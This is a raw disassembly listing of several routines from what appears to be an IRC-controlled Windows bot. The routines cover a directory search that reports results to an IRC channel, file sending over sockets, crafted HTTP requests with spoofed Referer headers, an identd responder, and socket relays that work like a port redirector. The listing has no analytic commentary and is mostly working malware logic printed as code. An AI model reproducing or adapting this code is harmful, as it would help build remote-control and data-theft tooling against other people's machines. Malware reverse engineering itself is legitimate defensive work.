push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25D0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2770000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2760000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 27507FFh mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293F4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2670ECEh loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2770000h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2750000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2700729h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2740ADEh cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A60o ; ___:00437A74o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2780000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2700000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF38 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 26619D4h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAF14 push 6 push 1 push 2 call dword_4CB024 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAFA4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D158 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFF4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAFBC pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAFA4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEEC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB030 push eax lea eax, [ebp-238h] push offset dword_433FC4 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF38 push eax lea eax, [ebp-238h] push offset dword_433F80 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB03C push dword ptr [ebp-4] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26E0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAFA4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEEC[ecx], eax call dword_4CAEB4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFD0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAFCC test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB038 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB030 push eax lea eax, [ebp-350h] push offset unk_43402C push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEE4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 25E8h dd 8B0226FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEF4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0CFE89032h, 0EB022609h, 42AE8EDh dd 50900227h, 433FF068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi call near ptr 26E0000h nop pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB024 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAFA4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CB028 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF5C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB030 push eax lea eax, [ebp-344h] push offset unk_4340B4 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEEC[ebx] mov dword_43DEE4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEF0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2680000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2670ECEh jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAFBC cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 2680930h push eax push offset unk_434074 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEEC[eax] call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEF0[esi] call dword_4CAFBC test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEEC[esi] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEF0[esi] call dword_4CB03C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2CF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEEC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF8C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAFBC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEF8 test eax, eax jz short loc_4108BC call dword_4CAF38 push eax push offset unk_43418C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF5C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB030 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D158 push dword ptr [esi] call dword_4CAFF4 cmp dword_4CDD08, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFF4 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434150 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2680930h push eax push offset unk_434124 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26E0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340F8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_4341B8 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341E4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 1415FF00h, 33004CAFh, 74C63BF6h, 5468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Ch, 410CCBh, 3700A8E8h, 